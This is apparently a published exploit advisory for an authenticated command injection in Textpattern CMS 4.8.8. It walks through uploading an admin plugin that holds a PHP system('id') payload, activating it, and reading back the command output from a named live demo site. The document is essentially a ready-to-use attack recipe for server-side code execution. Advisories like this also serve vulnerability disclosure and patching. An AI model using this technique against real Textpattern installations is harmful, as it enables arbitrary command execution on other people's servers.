# Exploit Title: Textpattern CMS v4.8.8 - Command Injection (Authenticated) # Date: 2023-06-15 # Exploit Author: tmrswrr # Vendor Homepage: https://textpattern.com/ # Software Link: https://textpattern.com/file_download/118/textpattern-4.8.8.zip # Version: v4.8.8 # Tested : https://release-demo.textpattern.co/ --- Description --- Textpattern CMS Upload Plugin Command Injection: 1) Login admin page , choose Plugin , Choose command.php file inside this payload: : system('id'); 2) Save it and do Active plugin yes and click Update from disk 3) After open page you will see result: https://release-demo.textpattern.co/ uid=33(www-data) gid=33(www-data) groups=33(www-data)